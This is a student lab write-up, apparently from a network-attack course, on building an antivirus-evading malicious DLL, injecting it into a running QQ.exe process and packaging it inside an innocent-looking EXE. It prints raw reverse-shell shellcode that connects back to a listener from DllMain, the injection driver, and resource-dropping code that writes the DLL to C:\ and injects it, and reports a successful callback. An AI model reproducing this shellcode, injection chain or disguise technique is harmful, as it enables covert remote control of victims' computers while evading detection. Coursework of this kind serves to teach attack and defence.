zoukankan      html  css  js  c++  java
  • 20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现

    20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现

    一、本节摘要

    • 简介:在这部分里,要实现将恶意后门悄无声息地与进程进行捆绑,通过和已运行的进程进行捆绑,达到附着攻击执行的隐蔽效果。更进一步,结合前面的资源捆绑的方式,还可以实现免杀恶意注入EXE的效果。

    • 目标:

      1. 制作一个恶意DLL(手工免杀方法打造,不会被杀出来)
      2. 通过进程注入的方式,将这个恶意DLL注入到已运行的进程中去
      3. 在进程中编写一个回调函数,一运行就直接执行恶意代码
      4. 将这个恶意DLL直接绑定于我们的注入程序的资源段,封装成一个表面纯良无害的EXE可执行文件
    • 工作环境:

      • Windows 7
    • 最终成果:已全部实现目标


    二、实现过程

    1·恶意DLL的制作

    新建项目win32,应用程序类型选择dll,名称为zkj5314hh:

    需要新建几个文件:

    其中:

    头文件dllgenerator.h,内容:

    int Add();//这里选用了Add这个函数名,DLL注入时需要输入调用函数,这个名称比较隐蔽
    

    函数定义文件dllgenerator.cpp,内容:

    将免杀代码以一个函数的形式写出来,以供调用,其中要加上必要的头文件。

    "dllmain.cpp",定义了入口函数,固定写法

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    
    #include <windows.h>  
    BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
    )
    {
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
    }
    

    注意到DLL_PROCESS_ATTACH:我们对这个函数进行处理的话,就能得到很好的效果。什么用途呢,当然是当这个DLL附着上一个进程时,就可以自然地触发这个回调函数。

    立马给他加上后门代码:

    case DLL_PROCESS_ATTACH:
    	{	
    	char met[] =
    		"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    		"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    		"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    		"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    		"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    		"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    		"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    		"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    		"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    		"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    		"x77x26x07xffxd5xb8x90x01x00x00x29xc4x54x50x68"
    		"x29x80x6bx00xffxd5x6ax05x68xc0xa8xc7x76x68x02"
    		"x00x01xbbx89xe6x50x50x50x50x40x50x40x50x68xea"
    		"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
    		"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x61x00x00"
    		"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
    		"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
    		"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
    		"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx22x58x68x00"
    		"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
    		"x75x6ex4dx61xffxd5x5ex5exffx0cx24xe9x71xffxff"
    		"xffx01xc3x29xc6x75xc7xc3xbbxf0xb5xa2x56x6ax00"
    		"x53xffxd5";
    
    	DWORD old = 0;
    	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
    	INT32 * addr;
    	addr = (INT32*)&met;
    
    	__asm
    	{
    		call addr
    	}
    

    接着进行:

    建立源文件"Source.def"

    在此文件第一行引号中填项目名称即可,EXPORTS下面列出要生成的函数名称 格式:“名称 @序号”)

    点击菜单栏 生成 -> 生成解决方案,我们的动态库就生成成功了

    为什么要编写Add()又要实现回调的调用呢。是为了满足我们这个DLL的功用,既可以使用主动调用,也可以被动触发。

    这里最后加上了一个弹窗,在成功回连之前会执行,弹窗代码为:

    MessageBox(NULL, TEXT("注入成功"), (LPCWSTR)"diudiudiu", MB_ICONERROR);
    

    2·用恶意DLL实现与进程的捆绑

    如何实现进程的DLL注入,应该首先找到这个进程,再分配空间,再调整该进程的权限,最后执行DLL。

    思路为:

    获取该进程的句柄、返回此进程ID →在远程进程的内存地址空间分配DLL空间→打开进程令牌环→调整进程权限→调用该进程

    核心代码如下:

    	int a;
    	DWORD thePid;
    	char* dllPath = "zkj5314hh.dll";//设置路径
    	BOOL x, y;
    	//a = EnableDebugPrivilege(SE_DEBUG_NAME);
    	//printf("a=%d
    ", a);
    	y = SetPrivilege(SE_DEBUG_NAME, TRUE);
    	thePid = getPid();//获取进程
    	x = InjectDll(dllPath, thePid);//注入
    	if (x){
    		printf("success
    ");
    	}
    	else{
    		printf("error
    ");
    	}
    	return 0;
    

    具体代码就不贴了,查免考时再看。

    接下来指定一个进程,以QQ.exe为例子实现攻击。

    打开kali端进行监听。这里再编一个弹窗,若执行时会显示一个弹窗(在后一步的具体实战时会去掉)

    用process hacker进行监听,在实现注入时,出现了很明显的波动

    完成回连。

    3·为这个注入程序加上可执行程序的免杀外壳

    方法同资源节。

    同样做成一个Win32Project工程,同样的方法注入,同样的方法释放,代码贴一些出来。就似乎实现部分的switch语句,起到控制功能:

    switch (message){
    case WM_CREATE: //创建按钮
    {
    					hInstance = ((LPCREATESTRUCT)lParam)->hInstance;
    					hwndButton[0] = CreateWindow(_T("BUTTON"), _T("完成注入"),
    						WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
    						140, 50, 100, 50, hwnd, NULL,
    						(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
    					return 0;
    }
    case WM_PAINT: //绘制文字
    	hdc = BeginPaint(hwnd, &ps);
    	GetClientRect(hwnd, &rect);
    	DrawText(hdc, TEXT("By:20145314"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_BOTTOM);
    	EndPaint(hwnd, &ps);
    	return 0;
    case WM_COMMAND: //响应按钮消息
    	if ((HWND)lParam == hwndButton[0])
    	{
    
    		//释放出PE文件.
    		//定位自定义资源,返回值是定位到的资源的句柄(注意第一个参数是包含资源的可执行文件的句柄,不要混淆)
    		HRSRC hRsrc = FindResource(NULL, //包含所需资源的可执行文件句柄,为NULL代表是程序本身的句柄
    			MAKEINTRESOURCE(IDR_DLL1),    //资源ID
    			_T("DLL"));                    //资源类型
    		if (hRsrc == NULL)
    		{
    			break;
    		}
    		//加载资源到内存中,返回值是相关资源数据的句柄
    		HGLOBAL hGlobal = LoadResource(NULL,    //同上,模块句柄
    			hRsrc);                                //定位资源函数的返回值
    		if (hGlobal == NULL)
    		{
    			break;
    		}
    		//锁定资源,返回值是指向该资源的内存指针(重要,之后便可以用该指针来进行操作)
    		LPVOID pBuffer = LockResource(hGlobal); //LoadResource的返回值
    		if (pBuffer == NULL)
    		{
    			break;
    		}
    		//获取资源的大小
    		DWORD dwSize = SizeofResource(NULL, hRsrc);
    		if (dwSize == 0)
    		{
    			break;
    		}
    		//测试写到磁盘
    		FILE *fp;
    		fopen_s(&fp, "C:\zkj5314hh.dll", "wb");
    		if (fp != NULL)
    		{
    			//fwrite的三个参数(1,待写入的数据;2、(数据块的大小)每次写的长度;3、数据块的数目;4、文件指针)
    			//返回值是写入的数据块的个数。
    			if (fwrite(pBuffer, 1, dwSize, fp) == dwSize)
    			{
    				fclose(fp);
    			}
    		}
    		int a;
    		DWORD thePid;
    		char* dllPath = "C:\zkj5314hh.dll";
    		BOOL x, y;
    		//a = EnableDebugPrivilege(SE_DEBUG_NAME);
    		//printf("a=%d
    ", a);
    		y = SetPrivilege(SE_DEBUG_NAME, TRUE);
    		thePid = getPid();
    		x = InjectDll(dllPath, thePid);
    		if (x){
    			MessageBox(hwnd, _T("注入成功!"), _T("提示"), MB_ICONQUESTION);
    		}
    		else{
    			MessageBox(hwnd, _T("注入失败!"), _T("提示"),  MB_ICONQUESTION);
    		}
    		return 0;
    	}
    	return 0;
    case WM_CLOSE: //关闭
    	if (IDYES == MessageBox(hwnd, _T("是否关闭程序?"), _T("提示"), MB_YESNO | MB_ICONQUESTION))
    	{
    		DestroyWindow(hwnd);
    	}
    	return 0;
    case WM_DESTROY: //退出程序
    	PostQuitMessage(0);
    	return 0;
    }
    

    简单来说,就是程序是一个窗口,点击按钮会将绑定于EXE中的恶意DLL释放在C盘根目录下。并且,会自动运行注入程序,找到系统中的QQ.exe进程,进行注入,并弹窗提示。

    成品EXE。

    运行后完成回连:

    完成之后如图,打开process monitor监视器:

    成功捕捉到其恶意DLL附着在QQ.exe下的动作。实验最终成功。

  • 相关阅读:
    HDU 4393 Throw nails(贪心加模拟,追及问题)
    【Add Two Numbers】
    【Single Num II】cpp
    【Single Number】cpp
    【Candy】cpp
    【Gas Station】cpp
    【Set Matrix Zeros】cpp
    【Gray Code】cpp
    【Climbing Stairs】cpp
    【Plus One】cpp
  • 原文地址:https://www.cnblogs.com/5314zkj/p/7029347.html
Copyright © 2011-2022 走看看